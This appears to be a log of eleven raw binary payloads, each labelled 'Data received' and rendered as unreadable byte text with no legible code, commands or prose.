Data received	¼ ðPIwE©=Gdpåä2¶IÛ)ýRÈãz.ÐéæjªHTT=NÙ¨ì$vúÕÀp@Cð.~%e¹è»t¶T×$m_Á<"Ä}QraÔfÌ/<=±-óçZ ^øè'ôhôÀÚ^¡wÈFàtxÓßÃ½B:Í^mZØÀ®´ÀÏ(Ïø¼×û-7ääñzq@ºVø5ß+½÷P½/$7.Mì±wbÀ[«YEyÍZÞÐóUäËêzþ8ì.ý`¾w8eXâ¤#ä ò#ªÕ²0ª>\5´xB\|ÓRÅ(Êþ>KëÝ¸Ög½u¼k÷Q`ùþuÀ~Ëpª~yåXIG<¤)yðõ m'½ÛmKc-W"õ[bmTº¸î¯Ä X~³¤ø3NyLV;mÇ]¾PKXQ¡ìçUõcv2êf&uZ¥¸°Ñ×rÆ2ù ZUÉé,,0Íó°êX´½Põ§>UIj Á<6®ð^²õ@¼`nA«9tZÑn £ÏOÿðkízÂö½!)ÔëZMio^å¾ü#g {}k¬ ¦!ø<pÜà}{ù·§}9¶¤Çü÷t_É+ÙÁ3¦±hÅÄ~Ð£ô#æmÜi)þLH\ÔK+ý?ºÒ#iºÅ DËkæ¯#¢2¬&®Ð¡ø~ùñºÐ)Y·V²¦P5ÞÆ#PT_ê´àËò×wvxµAö\|ªý¾üÁÄ)²òò)ì½h^ÎZ`l2æIõå´ó(Â¦(ÃEZ´èt7Jî»Ðß½ês°Ø¹5«=wAñQä·" XyÊ1µiÉ#zAA5&É 1©SìDÊ×ôá(ìYFó}ÆÁ?æ¸Ub=÷×z[Z kÕÎAÆ6kâþ°¬ìXË\Émrk[O;B#ökxÈ»¯¹Ðós§'ýçH³<aºkùë2.\|&%c,/n)6]Qdü4©Ø§FÅm:oÖÐmÒÚ°ÐsÓCl¢ûX·Üoÿ¡±ÁeÔ 7b[. =~í>ÿªP$ Ù× îB§Å.¢y^ÑhTSO½Ú71a"?P<¢D´{hÄ¢¼B`Íý!AÉÕE=ª+#ZgÆýb=¶áJl!!Gª#BÀ¹-ñù@»¢ð&FñÎ òFæ2Å_Ó&øH6'f÷nMõµhø^üî¥TxX>Où51³×nEån!-%(ú=cN®ÃæYEx3²ÃòtUtÒû-øÙ¼%RäðÕ<ðáâñ¢%ð·% {.jnÐa7V%m9Ê!/Lº\üÉÊBöJÐÌJD&ÔC¥1ë@i1F")7É %'íKL8T½ãG\|uaÂ»Å ÔµmKVíñp¦³áuüÆ[áÑTfÇçëRnxHu` /äV!øÌã kEûxs¹ºfP¶M] Â(¢`¨Ñ7AÛ¡±ê®(Óö)Éä%¬ÖÉnÅh«mx±\å8w'óÕ¼YÃ ¨´@Íp`.Ë\Ï*¥2LN"L xòVßrÙãb¾¯%Ø,]¾pÏ[UÔÙAíarQ¾Ùòñ²"\|Ec Q.ÈIM
Data received	u¾ ìuß^QfÂ¾á\`³Î³þ²O<@DÛçÔå¿N´UqtÍ6y½ýÍIK\'>®¹éLÅW¯ÉªDï±cÛêªpjÓsºÏÉÀåuÇ8e¾Höþ¬Æ´ò7ñYÇGáÍèþ:Íyrðs Ò[UhfZpOö]\jÍósÖÁs\|+¼'hBñSV¡ö¡¤Ñ8ºü2¨¸ {ñz×è£ÕjùõÚßýðÕIâ«Æ;}+Pûæcà^ÚÝ×,Møwj(ð]Øm÷ááäAõ(ïúw:rYt²YD æâéäsE;GgÎcé«}ÐRù uÁ§+¸ð0ê;ªÍ» Ñ~ ½oÒ^ofM[¬© ë!§L3íÀ«â_\|Úm;gÁ¢ØzD,ø=ÑßøC»ÿ`ÚHmüõ ¤?y·x]©øJ'5wÄÓØDFFÑ`ì¦xr»@eÀû¹%®k.SfÁæñw5Ñ¼þü¶Î-à²R´_÷ !á!¯OÛOÓMRgØ²Vºôî¥©.pr[i©NMÉ\|p?yûÁ"ÖÕ~?ÆF»S>à<Ú<3xw©«Óô"FåÖ.úêæúçÍÆs9Àò$Ë1¼µôÒ7_ï¤¨ãõzg Í0uÍ~bFá(2À¤Ó¸1=/X\zØÔ¨zFßã6W0j)IÁÈb<opÉï ;ËH<Mp¿"å¯#rýîáëÔ·c¶)é,ÏäÊ&»¬Ç!zË1@]@Ç25'+{Oñ=lX(¿azjx&¨;× ,¯LZ!\tÙÿ´ëaNKÇËr¢®ï?ClóÞp]¿Â[\|ÕÊ6ýczÒ}áXuoÔC8«Æ\\iPkÔ~(\u»ºÇªÝ\|Ör¶¦úäOq'¯õÇ1wöï'ÔÍeï48ÌÏBrú´¯¦jß3 Gâ»«·_`ïmjYWÁhÍ\|öÆÔ0Ú-àé"³Æo_«g±ÌÇÛ,øëóxd-zËkô¿y1ÝÂþ$\6MåmÃTJãø¸£Ë)¸Qm¶¢ä\|©'Â¾ÊD»o>Ñî®TU¦»; ¿)3%º¿Dô¬N)'7±ï[ñK,×Å$O8ÙÈ²õ88XOê?=³MâðßþÃÍûoõwUsÒA°éú(e ù¸' ´âqqáÈ^ï\+önrqÞ]_Ûm[eÈgN§ÄöpÀ6øÿ{Éæ '±RÃwa-O(Îj½»ôu½{W@ªÕíæ¸Áµ¶ÿ·ÕÅwñhfTÝ×1úã"_ ïdúb ÄAlù]Äÿ,Á7û°_jA@=øÿ/§}m ß?¡A3à«&Ìõa÷xÌtT¿¸f>£yGÙí¹¬3s#²]^gJ²%vµqOQêJÈ:ÕÁ?/³ëñ<´ e«\Ôô±Äó;fOôOh¶,UDßK¬Ïµ³DàÈf¶SúÒ9É¸ìÈÕk-a\ÈnÿãäßWanTF¿hB°RhÆMù¦,ßÑÒWçÁ-«Ýõ ÅM#ò¿ F×@4ùFªgM[Ó>ÅÊëØ"u¥#ÿ}ÔæÛ4}ÒËÙ
Data received	éq8`æì©dJh` A"mG÷ñ]BÚC4$ïî×"lNa.ÔùÖ?Îìß Ïö#´ûÞ³t&!¤Fw4üzÏTç±»CXþ ©xh-¾\| &ÉÅÀÅÓï¢åÒÁ>h3KÇ§dÅHÏo®6WÚG¡½]ù×)ì£¬æâûêf¦p(ÿW1HýÔjã½ýKJ¾´G»»¢«Wß@E'î^5qÑKð!ß[ù)lóðtÄp1,þFÚ= 5TÄÇC&ºéUeU[üøÕì[`å+ê¯j¼§¹N<Ü¾ê3$â×³>3&ÝÑ·°ÐvÍãíuLgaû:u_)®ùå`ó-\|é÷w¨JÙ#\ o ø½gáóu.=Èíc:á¸Á²µÂÊ³ÈzÆZêÅAT}YôñGN[+fÛ9×j\¡ØÚ(WÙÐVO1F¾r:H¸TÐ¸4EýesSIJö'màiÿF¿ÄìNôF ãM; u[>É3GoôÏ~ 5WîÒúMqZ&ELÇ^Rc»åè«°lfîJâQ¦L.Õcü5þr´R¼±¥àùÄ§PL¢i}¿ÒÝ^IR»;YBÔXLÕÏÌ¾µÖ'øªµ1ÿqàwÒ÷Ê×LÆÂP^öGÀ¿U!ùÀãûM^%»»Y6pjnêÕ80z³åÝ5Åu\|sq~ÄãmApÉîp°QÎR<.ÝÈúêl]q²¶ö·~k,@v`_16ü°×<±À1¸.s¯£ñöF}5×x!Ä!´'»\|nÿ^yO«MÙ4¼ATÀó 5C Ç¿mG¹}Gè ÝªI wjÿoÖNGº"ÛÍ¦9ÃAö úÊo,¥¿õæ¡ÕMþÅ¯,v6"ôgD·A~HÎ%ñÅ÷Nïü öÚ_³óF3U"ý;äjý)5=þõ, qÊBø<G¬ÓF¨ íXZÜ\|º¥Î?jP¯è/¡s®%ÖBZ'yØ¶õ«½ðl WáiLíãj"0ò´êY¬Pá¬Âñ ºÀ®íÚ´âFfì±#þ%¡èàfs»DliÎå)Þ;d°2lSº¹rçÔ3Î÷ûc!yþ¥WÌe1§mõH<ârcÑ¾\ºßJu¸ÑÑXùºéO{78ög$àÇYÉÄ^³G''¬÷+%þ¼¿D^\Knz6Y±½Ãàáú\|0òzzF¢^ÜvJÙï,3(ÜëÏl¤¯ÝÐ·ñ´ÀgÓ\|?Ph-Iþ`eùüz04ÚÁPMúmzt'Ò Jg¼8ôo×ßûî~¯êÜ=ã1¼/¡³í4±ÿL¥ÀÏ:/Ú=$®\|Ä%m %N«JþìIUo®£\|Au oonïcÖ W}ÇæYèy¹N¹¸yNjýMÄFc\ïYÚ¼º²$Ø{o¬§ú»tl@Lp>CÒT_KÕ _ Ifúø÷^)±ás³¾ÿÍ:]xQc CèrÙ-uÊÆmO¬;d_ ×Lß·íç@.(B WTO.ÀÍæPK YÕÌètÿy!ã£íæè:ôrÎFÛª:YIuEè
Data received	Jeô.¥=]ìµ@ARF8\¯ÁTCÌm´ÚIÏZ.%³êW¹ék{tÌdzîêj}§¢\|¡Ùª¸_hä<QÏÜé=u¹j/n{ÿÖ "SñÇ'ÎÚSn¨7C"CügetÆ6Ô½ºv½>¸J>%¨¼¯ÑI_<wøMDGîòÛ÷\|è8«/:IUË<SKñkËúì¸Ç\|÷ys@¡kôÆûmC;ÐwS@CÓüvPç_z¡¶z HItUÚÒ¨^/dO ÏÔm]ÝXEcMÿ[â:£ÙLì!ù=oC¸änÓlu£f ÷(éïnð&$Oû¶{ïÜÕ¢hñó¤Ý¡4·j°¶Àö¤Àãõ ÔD¢xÝ¬ç>Â¯%[®ÖÜÐDÛ³¹Ï>Æ>Â6LHÁ(V WÚD]wv÷v.¥\?'¸K¦dúP¸Ü&Ý`2ÑVçHlÈÚ ×fDYYÑ¤ënÿ"Ã0ð9tgG+ÛD$ý7D#-¿<·;cÈµ=oÛd$ÈE/×xcôS\ÃíiöOvy0ÞçåÆº;Ô.xJµÿFà4ls.S¶÷,bÍáP>²<ÛçIFý=®e+ê4gµã&sg.¡üÂ>ÂªxNN! ?úþÚí5lW«]u>@»Í_iÃ_±#§ÚwÙ&6´z©Å«>vÒXûfÞ3UÎ±§pÓm¸åÝòänyßù¾ÜM°æ%N¯Ân{Ü7Çs¹þ-d:¥ ë«®R~¼yôX®!ÑOXÐ3)î\beëG)bø,ç`«öHóõ²yÂÁOÖj¦ì ³") I¢Ë5x1ù:E1ê¹Õ\|D§ú{t 2×iÁ9\|ØDjí9î¬»\|êàs÷».'z¤d×{x]q7[ìp të~¾µ¼. ;¤«QË2Ê2;Tè>nÀty2[ÿ§kcÒVZo%%">2`¨°¼õ2¤ ¦ÞËm±Xy[Û-EC¼(}Pìdý&ñõ°Ýðÿv8÷P¶IbMÝhDæûDÂÎóaD fãðÅUu9=Vïs²fáÔrõÔ¯Óäh±#wmØÃxUv=p¾èzß3Á!/sÞ#Wýj§àgÉÎN=YÕçè %Û8ö©à~ä£vzc¬}ÌD8¼J;ý-Pf1âÛe÷y2Ó\|gø+Ê AÖé{VzØöâcß8ZDr ²]h´ÔhÒ#0éÙü8Ë:)ÆÉzc2V%6×ÛÀ.ØK3ÓíÏïr©Bô¥Oi]à·¹¹÷×ÞVâÍB1$µÓÄZc4·Tc¢: n%ÜDÞ SÉ`qT¹¿#/Ã-sø¤\="½~P¢Æá^ó¾©Ü´)bO G¤n4´xmé^)«þ%\áÅþ~&+o5#¡À&nø¾rÝÑíºo«ÍRMwýÃî«ítzØU¶wåj12ÉÃµ×¾¼áIöp:i]aÌÑRhNð@K¦gR~ æ¾Ì5g#xd§@\|+9¥QØÒÅwÒEL£ºÂÓ*çÌÊ³¼óRuFá¡C:ÝzèÖýîã×íd6õèH
Data received	8iÉÙÌ¾~ÎÈYÃ_TT{cRþæR³Û²59á»ÉV¥0lP\õöúÖÂ`2%[Y>Ù)×3êO£.ðë#!«)6l<0SCrrÃ$ÓxXt §JTáÊøD×i¸µßLßåÂÃùð2ÿ\°hC9Ù&¨×ØÏÁô:²y· %fñmÒ¥2©Q¨p/¶^çºÍES@NYÆäu`H¸Sè)VFåAä @ÛjZ÷6Îèu±ãsô5ÃÔYUÏÅé)Ïè/¼C3Sç¾EUP¹zMøªå5Éå»·Aµe¡¥0&å ð¤÷F{åÖû]ë^eÝWòâë»Gú¿¯@ ë HkcÒaÇ/½reÌ^ªcoÌM$Øe±¾k}:ÎÙxvãËáGñkG ÊpÃW¨Ôg¿lAï²/¦\|^ÒÕJÿÙeóÁ6¡/fÚ^[ãF?Bãß4þÀw¤aÉ¤VCó}J<¿Eta.ÎAYZA.æ@òÎXªg;P¿5×Ï=çÊ¨îc8ó´zágÛNØyùcÌüßyÍé/¬V¾p.Q_bº~¨½íXò]Õ1Yj§.W$h&o¡]~B }#6pÏýûRØPD¥Ãh?§2v/ìã-÷¤¯S/8ùãç´Ô\|M°Ð«42Pdý$Ù~÷¨5VÞQsVMç¨¿ùÖoÀí¨Ü»d/:,>¥"p6#Ã/n/ìgRÕÆúùåÆ:E¿+ÄqE¯»ò\Ò1b¢õìÆ4°Zè_ä±Ì4êjÕSBO$]]nÕ×æG'¤]Å))=-y~¨_ÿøz9Ôi§ añ @WìSè£«NsÆ÷rsi\¨6¤ô®yª ·wåsÈnôy¢-9i¥wPÝ²¾mÛ;go=9AacÅ44ÿ«¡r$úkxò´Ñú"ï£ò/Ú_9ckÓ¹&ÚN(ÕV%Äýl¿Z8ák¨"?ÛÃ =ÿ`AØXLÆF:¸·aß* 9JHGh¢æ)ÖwlýT>Z»LejIká'¢·ÕIn+ªélª²Î»½IòJ©ManbI¥¦Vs³îB!@Y_CÓûmìaYß«õâ>Å ¼+DèSµ¹ËÔ½6¶d¢æ9òYóÏgOòI¢±çÍù2gæIY¨QF0ÓÀÔn¤¶yHÚúÜ\|K{± , oúý@ 0k£~âµÈSµmcê$qa½MÐÌ>¡6Ãè¯ä´ùâÔsü1w )ôÇp¹Ã-ß4óãY`õIÒ5 °WY Öc.9¾¬\|óùb»í>aKÄR}ÖçÖß5¿÷EO¼sRå¯7g@þÇÊydóROjÏlr¢È¡ß%ªÖ4ç³494>bÍC¥HÞëþàýÀ[ôAªù}N4V5Ågß "Ù¦ª©Ø¼ogï¦«+gÆÑïØ áQþaîìZú²ÉÄSþ×ÃaþÜö«F>ÿU¥øÉzF ®¨eÉ#Y*ñaÅv®áù²Ð ìTGõúYm²¡O{M?\|ªmð¶O8
Data received	£Ei@?ýOzx_ÁI,r»¦nïºûóýöÉøÃë¼ ALä õËZ%S×9MR2f¦¶Ó¯/ÒwÖ³ îßñ9^?XüVlÎ:~:8èKÒeº N8\|{êÞO`EYì}Ân± ¬¬V#·^¨ñïâtË_3ã¸÷¬!ú%ª\ÅÀmÉeÑþ4±l(!þèÇîß÷ê <%)FDïã§ºÉ¹r,Å¯?þ# ¶ÆûAçnÝ¯Øç%§¤Þy ²ÌYs :(.ËôüÞB9½ÕöÜ¸ÚQg¾U]ëÝ_ð§÷I·ÒÂïXI_Ùg±8îâ¿±z ¨2Ü`Ý=¹Ï¨h};§å ö]ToÉ@g Ô®r5M5ÿ%Òq Z/ ÅV£DMry§ákNÔÒz{fÉkU.iéÄ\YÍB¨Q¥¢ï5h1 @ëå%áægÓ Üý]^ÔiÇjQº RØ 94½?ÛzÇÖHH+N!â¶¸¯åvwDL pÂ98Ô(ï4ß®´bºÞrGF÷f>uFôÛà¤rÜì«GëìÐ¡p½¼<3ûICÐc3c¿úüf¤¹Xïó·¤Wãî)Dí\|yÕ£²Y[åÞð è/Ïñ:)fôk\.àû³¿MÈOw$§ªý'õ©D¢ÓÇxïú>9ÖÔÊLOØÁê\| .gæ®îgî¼+¢ÇtÛr¯oøø¡Ùþêìÿßmò(tæâ ³ú¦Ça¸_%¹DÊDªi·4f°Ìt`zªl@ÏøãgËøõçýú¼ì8»CÍ¦dªMHÍ÷a·ù Àhì×_nc^¹/l=í!§0CéS5Ð²ú-Ø7èsy¤R²4<67lóáuQ¯ÙøÕZFÜg6Û´3ÂúýüÛu¡1/«S[wÙdg£?'8Ú©·kxÃÂhGêk'äí4PH`-o .¶y['¤î!íó_ÕÊÃ~\S üïô×!«·4ëÄ¾aÑ»$%ÉÃ5É=È;L_D¿IÕ½wùè c.OüeXV§¨F¿ #6BÛ-X¥+ç÷fNÞ4\þ;Î9xÕ5(©p(ß']Xoö¾÷»§"Åº:óÝýA²½AÕ¾¼¶p×hººñÄhÜ±j<9¡h8ÓZòbèBÉki w\¼'(äþïeÇ¹ðSÿz&'êýõ/¢ÝPdÈ-Åð<Ï)vA4}êÝN¶£{ùü®NýGnÉlÍªY/ÆkÍ«YRõ§×¹Î¾[0¬lì_m¯öß¼zbXNWG!xÎqë}WÕÑ¥YÊWÞÝ¨î)OB]±6ÌÿLàZ}9>$Ô+yú·EB^`Õ¹Ì?Ù=hÂ@)FQ[è¾d¤?SEG Âÿ¶ñÖ¾Åçcê`º$Ñ}´Ñ"ý×¯¢±HÇ´¯uÄrÁ :nmK¾ð¡²Ù6¢Îãþi:Ì-~b=gÐüVBÚYyí¥99ã©M4½u,Dðr¤r5ug¹.j¤A`ÿìòT©=É5ñl"Yü4Cô:Y$Öm¯ÀîTò¤ âfu«uDý7â4*C´³F<ª¶ÌÈx
Data received	'p¸mèñ>#T<¥-¥¼N9·~ Ü ät¡q#ãÚQ)ÖóÂó^¢DÝz[ã+B~?hìó7í~@\|]ÒÖ®Aõ¢=WªüAµ¨£ý°¬¥àFæÌã ¬b\|FtùùI~è³¥WûÓayá]vU &A`rÍìLìzKQä ÇÃhHÆÀ7^\®çbªïÄÇÖmR I# åûà-7PdI¦à!® O~Ý×<îï¯gex8ñÌI¹$ØÄ³ri=8W6ÙÆ³MDyü:×"ã2P?ÒbY}ç&^¹t3¤%Äd³]½V¯)]-ýµÕ3¦ÇÅµ"½)9QjôþtXuË6±lMQVi^ª¹jÈºõ´8©µÌIÎ^EQrF²¬^Q;gÆ0ªämô/I·ÇÂ%B½1r<óÜ3Ieðs®h÷Tcò2M¥Ë¢ ºÁôxþ%¤s_ÔRúÎ5h`ë6z\5(ÒÚ¹];sw²ü??Õùº2N+©õ:ë¬RR"%Ä>u )îr;¡ðèÏ]býdD/¿ÉÐ-³ öBÔó)E>U\|jc`<ûDëÜÜ>¡Pô[q6õÞâÌù'=º>uÌ9!âwL÷asËIu"ÚrVòµ¤ÿ¢¼ÓiÚþ%ê[XkÄGí»,PmN¾ÒÀJÁ/9Ê(â Í7bSFjù´ÝÂÔß½Ív¨®©ûÙßÏ[É?DrOñ ¿xu·8×^ÀÌå"s0ntP ²EQÃÏeùýnt2ºU×DiüÑ«~q¢kW;Áè!júQª»IÁøMúdC1"AYê>3éQZ\|,~Ä)ÕÌæÃõ Â=åùÑ9¬g^_¬¤óÏàåj}+bô"ßçVµ ãhÌ$>"®ÙPÇñÏw·?7 ã[W@¬¿:§Ã´,y4-Om fÀv+ ®R²oàí¨½¯3l´HÜ@W^á´ÚxÇ°x"JïV±¿[ÏdfÙaïUãZìûNJµ£l¨ÆíóZ$³-ðÉÙËb06ó¬PÞsýH¬V@ Ýµ~ïÎQ¼!´«u¿7+í@Öì<ëþ?d]&4Ó{N´IÓÈBZ×ÐxÉhÐ<M+¼nû½)I·¨¯èìJ XÅög^eMÐ3{PÇìy{½I'"Â®îbpZnw4"Õ_d4¢T¼CÛÍí0é×÷ñÒi)âÁý7ç¯`éLn?>"Çï¸,¥ZPùÒ¹úãruHDÚ?$ûámñðkN¬Û·gXLµÊÚ\|GS1Y-§Q%ÅáeÁ#[G]hkð!árÏ¸wf[ÃË ýÓái¦ælJ;cæC¤sÆMYÍ¢Óã^k×½UÃÄÝÈìðÞAVK ÄÀ\|¹wÆdî¢ÏÓÞ~¬×°-ámæ<äî4ÚrèööEjxLÖBX= n:_P]vqØÝèXäm\|ÞT1Ò@ÅUÕ">å×¿rÑÅ¸°øONçpÁÇ Åºzc&;uÿç>UÐ¼péàù_ôb~#°p@6É'ÊÃBwÂ^ÉD
Data received	eDÈ5Xc7¸`¡»a÷Õ:G^]&m§9B`x]ëd$ú%ö(~Jc f»¬ÞHY[g[j:q.x\|¶C±¥ïª÷,Ú¸Ø¾$¢ÀOl>E &O(/`GÿBÉKyþ$µcd/a¨Gõ¥ÏvS+%Vâûo½y®¼)ß_ÇÓZâÝÌÓsö°rSxã_¼åytD»Z©r²RE{à¹8V6®4K´ñm.\ãç÷&Ð¿p33vÔÙ¼g!ÙÎ(<%ÞÈÓyÉÓ»_fO Â[»oRHçOC÷FBÖøE;îþ \_k ~lÁJ Ò#ßþ)ö¿µãÔ¸¾zJIó£îÃá+ëáE+gÁ1=Ûîº´eY!ÝFÞ3Èî"ìó[©Ò¢JÇH^àtùÃZú®øgø8þaD¹RïW³kt¬ÅìD^ÒûVz}Ì,²ÍW¹NNnr¨/j©Ê -³S/ºúú ó0bèÊ}+·Dï`õ=¥Øu®Ø8ü9zß\a¬ÛãÜÏHrêó{¥ ¯?5L¶±"â¯52,+¦õ}Æ^Èìñ«õsV¡rñÖì9ÿ×ÔÚtÐ\|¹äÖ}2{HÕ}GA0ÆsúXÉoÅû!<0x«þkÃRHºF\ÇßÞÓXð+ ÷kß=ªñëXbå[WÊ;mL@:Wî;ÑÚûß)`óº-£Âð)MË!/~/TXD¬æ]Ì\+TÉJ¡¬7!iOGR§r¦a¿#¸è=LÅÀÂß§$»pPÙbE{¹;b, ÀT`¾k+înªï(x8®q[~Ó{øDµéñ3ÓÇySaº1ÜAáÅö~ØX´ÏÂn&å¹~¥¾Â×d±éJÉÚ¼K"g/ù!?DPr¢½2×±¾S=Ñ9©è±-TÃúF+p¡yârc;±3èÅËÒÇëãsý^ÜÉÁAHEæ0 ¦öÐjðôd²¹o!ï³(ùQññ´·ábÓrBO%òó(2ivÛYÇáøêÒ 01^ÕB¹)v`[><^ÍGë¤óQ$.®{éQÿÎ V«WoÉºÏã±\ kn+éÐ$(òÐÄ_+IsjV>ë ;iäð5lü¢tVó)ñ ìÐNMàÆ¢2:XYt°hzèÓâ1´å®Zí Ij3ÄòÏ)=DÀáãïàpRýS¶¸®Î8ÔB$Z(¢í_:å.fV/ý³ÜïKCøïþ?Ôõ±´SX¯@¦Ö"àÒbl¥3Êxl ±9MÑBÑaóALz2VXSí^^4Òñ\¶Èø¿J^Ï¡Þ¥Pd 0ç·¥ñc25-¡iÕpÑ-ÞËÄ)JíÈú³þ×¦bþÌ¯# 8 GÄÛ0ßÑ¾})·ÜË:HX>ùßp\|_âL!ï%«gÛQy-Î{¸ô }?Þe\|Ç\|õ.rþè\ÍÂ7#_°¥ÜpM¤¾µä·Z·[ìô¾¢î$y/ÂM°/Àk" ÛäKOÓiàmaÃ/ú®íØ:±ªoÒNÕÊç(DkÉºèïòm,,yi££Íÿ kõ¼¯
Data received	GNãÉEMBd»ÄoNÅZxÊANÿ è¸\@¬86@©¤³_¶â¥s©I¹ÞÌ+¯ë¾=`k'FRc¡¥Ü6Þ@Õñ»ÝBêoÉör>!ÚgN\|Ö ¾ºA°É¼ð¦¯éßÓ.î«-Ì¼¥1ç:~/#¤J+}&!Ò3òº¿ÓÓ;1/%ãÕSN}ý<É5{B!³]£ ð~ëZ'tK¦Û¶±#E¤'UjR·aê¼Æ´Èª[R£§Ë&úTJÆð:BAN¿`çÛXÂBë^õV=cmoýn?2àc³wÐ«Î£OQ7:üÉM©Ë- cÿÞÀ¬Mu>Ô$jVPrh ê[LÛÕ í6¿°f þÓóuC°Ut!Am±ØusØµéÅtJþfùâ×HF¡ô³:Â5ÌÖÿ®;6LnzÚ'ÎÁLDÔ¢f=v%¼2³OÚs³¿Ìó¬HçOtõÑåÈZÌlÈ$°ÄJYøºÖN¹,ÎÄËIsg\|DÉjW ©ü=9r4àUVîm6í û©mLrs3qEFgfH Ð¹}UZ¯- oÚ}&µ°©³ O6£ØoZE:ÚSdàãÌå±b-ÃÅ$qèxÍqb¯Rs×ëNo»Ú(CoQÂ9qõUô(t½ÿæ·cì1r¤µg(mwK¤ äZJ1¥Xu×¨»d)¯÷4¯¨Ý}-rÜ7lñ(iCxOCfíRÄãkßÅr×y~»úí¡bè´øÅÑ«ñjÎãÇü`èÑ#à\|CNò0g)ÄiQÛ¦äØ²½¨<CU½z îÛ3L3ýÌÓd¦ùÐ(ûS]tàüe¼üCDñ>W¾luÃAm¹ÆW®?N©ù>üZP\@y¢WHÉ°Ü4Ç;´:Dnç~VP'½ËÕ¶Ðiê³ÂAÊl8gêË#2 ¯Fu¶ÈÕ0n¾Õ¯]`XªtòÙÍhNº%~&.nh \F 8×4§ÌöÖ¯Û1åÚêXtc3ÙslE§bÆ:úO¨T Gõ÷¤Æ½Ùú%5WýÛÅ¿EËt¬¨øGßCø{Ò:q{QÙê»êO<µky!¨p§ñcûè5Oï#ÅOáÔ£ Ã<ëw ¤CeÿzÜhèB=+lM_zyyk¬´º I&3yéedï_ÂîçRÔf½C»Á8h¢~øßúáÒD3@ù½[èì¹ÙÑ;ÀÏiGôwq¾±[#Òiþ:Ý©öÂÉì+3>ñØEà¦v¿\|´\|skK¡^µ×Emöä7°2ý´`µðç+âÝ+}î¯ù1Ê¹ÜðY¹OþÝÉÑafüí$¯¶L`L±m!X§Ù6hLO7A-yãWu[9-»(2cu)-ê½÷×ýò±®ýÑÌ,u¿ûlÎÝÈ\|M÷óÕæÒáEåkþ~âJÎi?å`Ã3Ãî¥ò%tjÿôÄU÷ã´o/ >ñüÖ>Us½ëü¥\B©-øÌHÑ(çr/ÝH&h¼n@¡) M4üÞå×rßü¯+VjÛrÝXt¥ö¾ÈuFA±)
Data received	ÀtGØº6[ ì¬í·'q¨¯ÜyÉÙÚPÛ3¯VzZö¢É~fÒ6oµk£Yú 3Â£ #ð8Þ¯T5ê_ðü¢Åw!j!ç¥q_5:IQø_\£: HóÿYwÂÊY~~c¡fÚ¸z¥Nè¯ªú.ÞÄácT½oÑÎC6ØgÌaEåÓrÅ¹Eä9õz ¦+»b"ÙúøöZCíªýBHÆ®j>EÃEò¼,ØbõàyÑé?ðà/)\.fù]êXä÷ÆhY Ö#;ÇÐ¾=={lq@¹JPÈD B ,#ò¤H ÿlÊØ?)\|þ I¶Ü[pUoÐqx"oä=áÓ¿XMããÑ IT:þ³¢¦r¯ëUOÈ)[uñaç9ý¹äPepi³!aJ²~BQêG¬§qmdþ$ÛJª[±,3ø4à`òée¸¢ºT-ÇÜ÷îÀT"p¦W_z¨¾kfø É:ûq ,üEåvÓ±1Ö0ù¯2·t4·Ýª,.yÆt¢ü)Å£§GZ4wÁ'pø}¥i¤Â%`GÞhñ+ã#ªO~ê'QênÌ6l¹!Ö jWüâ(§ÛÜ2Q§yH"às!eW @=m7j¦ùTé!çÐ¤>¹n^Ãqfm¯Û¯ê¸:Ïn¹0=ï0ÈÚ-°7TéUfþl#y{ÌÖí3ûO¥[¿Ze7¨¼ÉºíxÎ°Óêä9HEz¬B·S`lªÿFÖµþok©Rz/:ìbëõ;Ê¶?Ä,¡Ï,ïÕÒDò> sän±/2Õ±¼}+h.Ò9÷Ii$§ÍÉÜÌNóÏI£WØP¡.²%Â\|i»¬HîÂ¶x<sØÖYÿéU÷V«æ´2¿y.}!W²®ãª©=×õàêe;@ìVfTYÀedþtá"+1O¡N180e_àefáGco%ÿSNÖSè0K½EPî'; }ñ$y;!±.>þÃãÒ/Ù:ed°IZ_!Õ¢@QRÖöSÃ`QNL£%£µÐÎïºð¨øÁR[ÿí MÕÿR>ÓhÙÒ¹DmLuµ¢åÖRDc¯Øl¹(ÕDoq¦¾S>ÄÉAöÐ®0dç0×/ÄUÜBïÀ9bsAc @¡¨»je5úXJ²YìhíúÝ÷ÝÐßq°ÓY\|ö«iº-°ÅO/C,uä,P~F%ÓÌ)lvß5A$ÏoÁÏ ¬a¾P~Pk0÷ê,ÚÈ§ÃÌ0²ê¥Ü+æs3Á×!ÅtpfÏz«èÅbÀB-%ù-/+ó YuHxÄe^R5Ðîú»<;4¢ ¼À³Àåþ#Ê]XZÙæð1Aj¦(Üá±bgëÐEr ¯gGê+eXÀð8XnÎà·¬í;û~a¬L ósªWÌý²C0ûÂÞ¿üåiã²'Àaóà¥s@6@±ï\F© BHÚÕÁ%ôY©UÉ¬Ûå/L¨ÊÑROÔu §7¬tùõÝåq,Ç0¿÷ò"ñG"¤ªoµÉo)®tª66dïFæåâ`ÜxÝ}^ê®eÓpj.
Data received	§wU¤?÷eêàWlñÑZ'"0MfÈ9_ ugÔÉÀ½°zRç¬EãÄ)¶P~¾]¼§ÐùÅü¥ï"4^J£5£KÜN¾7}gWÉågÉ¶¦ö _O:e¤oY£{Íï±éãÑH/¬Ðµ'ðÖ¦Ì©¥.ú'h_à-wYgÓ HCKiUÇ3@MØÂõ¥'a:¿äZz?ÍÂ-Òá9ÂF¦v,ãdlàñÖA%~d¦r}Þ(µRÅmy/ÐÔb,Gî2¡zÉJw¾SÜvNO5e\Ë>=H-Æè8ºÀ£c($/ëãùNbEuB½WnJKL+ðx¥¶=²£¶jxç¾±æûÿÑ¢£lH§teÉú¸Þ¸)ü#^£-]V'èzu%àà"AìzÝ¦ïñgñ¯Sc&ÚÐ©_ÓG^@ùJY½î+¬ÔkîN«DÂÈ.9½ãÙ4D=YA@á÷lïÓÐÑ?9!)±jöêxýd8ý$)ïPï©oÎüöaAKùpu`âZ±´Vé²iÎµñ#9TZÝÜ$Â`péë Ë[ý=³½ñ@µùU§i¶=V;÷[¨VÓÏ ¢Kð»ºÍ+¼´1ôI0Ýí%Å%ðø¸dQ±Øºv;6o=K;ÖoíÕwSb%óÎ}SêÀþ`·Ê.ÉõK\|5°üP¹ ^m³rc¿¨rTÂ}>Z®-Ôx÷Ï/îö"\/âq_k6¸!Ri.VÖ¸a&v´;Ô;cJ´©ÖÕÕÿ« òöù!§"\s¨¹±÷µ³5y¿ýìz+½SMb uÌ Z w"U¬Ð§5 Ã!á6¨lÇL¯4¤nUj;2©óm´å#H5'÷,~ÏYC®÷VGó){(L?4\|[;¼@nÞrYÜs\|·Îj¹:ÍÍaë¸M6' 